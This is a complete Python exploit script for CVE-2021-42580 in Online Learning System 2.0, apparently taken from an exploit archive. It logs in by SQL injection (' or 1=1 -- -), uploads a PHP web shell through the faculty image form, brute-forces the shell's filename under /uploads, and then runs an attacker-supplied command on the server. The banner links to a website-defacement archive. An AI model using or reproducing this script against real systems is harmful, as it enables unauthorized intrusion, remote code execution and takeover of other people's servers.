# Exploit Title: Online Learning System 2.0 - Remote Code Execution (RCE)
# Date: 15/11/2021
# Exploit Author: djebbaranon
# Vendor Homepage: https://github.com/oretnom23
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/elearning_v2_0.zip
# Version: 2.0
# Tested on: Kali linux / Windows 10
# CVE : CVE-2021-42580

#!/usr/bin/python3
import os
import time
import argparse
import requests
import sys
from colorama import init
from colorama import Fore
from colorama import Back
from colorama import Style
init(autoreset=True)
def banner():
  print('''

 _____       _ _              _                       _                     _____  ______ _____ _____ 
|  _  |     | (_)            | |                     (_)                   / __  \ | ___ /  __ |  ___|
| | | |_ __ | |_ _ __   ___  | | ___  __ _ _ __ _ __  _ _ __   __ _  __   _`' / /' | |_/ | /  \| |__  
| | | | '_ \| | | '_ \ / _ \ | |/ _ \/ _` | '__| '_ \| | '_ \ / _` | \ \ / / / /   |    /| |   |  __| 
\ \_/ | | | | | | | | |  __/ | |  __| (_| | |  | | | | | | | | (_| |  \ V /./ /___ | |\ \| \__/| |___ 
 \___/|_| |_|_|_|_| |_|\___| |_|\___|\__,_|_|  |_| |_|_|_| |_|\__, |   \_/ \_____/ \_| \_|\____\____/ 
                                                               __/ |                                  
                                                              |___/                                   
    Written by djebbaranon 
    twitter :  @dj3bb4ran0n1
    zone-h : http://zone-h.org/archive/notifier=djebbaranon
''')
banner()
def my_args():
  parser = argparse.ArgumentParser(epilog="Example : python3 -u http://localhost/elearning -r 1000 -c whoami")
  parser.add_argument("-u","--url",type=str,required=True,help="url of target")
  parser.add_argument("-r","--range",type=int,required=True,help="range for bruteforce the webshell name")
  parser.add_argument("-c","--command",type=str,required=True,help="command to execute")
  my_arguments = parser.parse_args()
  return my_arguments
def login_with_sqli_login_bypass(user,passw):
  global session
  global url
  global cookies
  url = my_args().url
  session = requests.Session()
  data = {
  "username" : user,
  "password" : passw,
  }
  try:
    response = session.post(url + "/classes/Login.php?f=login",data=data,verify=False)
    print( Fore.GREEN + "[+] Logged in succsusfully")
    cookies = response.cookies.get_dict()
    print("[+] your cookie : ")
  except requests.HTTPError as exception:
    print(Fore.RED + "[-] HTTP Error : {}".format(exception))
    sys.exit(1)
login_with_sqli_login_bypass("' or 1=1 -- -","' or 1=1 -- -")
def main(shell_name,renamed_shell):
  try:
    payload ={
      "id" : "",
      "faculty_id" : "test",
      "firstname" : "test",
      "lastname" : "test",
      "middlename" : "fsdfsd",
      "dob" : "2021-10-29",
      "gender": "Male",
      "department_id" : "1",
      "email" : "zebi@gmail.com",
      "contact" : "zebii",
      "address" :  "zebii",  
    }
    files = {
      "img" :
        (
          shell_name,
          "<?php echo \"<pre><h1>nikmok</h1>\" . shell_exec($_REQUEST['cmd']) . \"</pre>\"?>",
          "application/octet-stream",
          )
    }
    vunlerable_file = "/classes/Master.php?f=save_faculty"
    print("[*] Trying to upload webshell ....")
    response_2 = session.post(url + vunlerable_file,data=payload,cookies=cookies,files=files)
    print("[+] trying to bruteforce the webshell ....")
    rangee = my_args().range
    for i in range(0,rangee):
      try:
        with requests.get(url + "/uploads/Favatar_" + str(i) + ".php?cmd=whoami",allow_redirects=False) as response3:
          if "nikmok" in response3.text and response3.status_code == 200:
            print("\n" + Fore.GREEN + "[+] shell found : " + response3.url +"\n")
            break
            with open("shell.txt",mode="w+") as writer:
              writer.write(response3.url)
          else:
            print( Fore.RED + "[-] shell not found : " + response3.url)
      except requests.HTTPError as exception2:
        print("[-] HTTP Error : {0} ".format(exception2))
  except requests.HTTPError as error:
    print("[-] HTTP Error : ".format(error))
  command = my_args().command
  with requests.get(response3.url.replace("whoami",command)) as response4:
    print("[*] Executing {} ....".format(command))
    time.sleep(3)
    print("\n" + Style.BRIGHT + Fore.GREEN + response4.text)
main("hackerman.php","")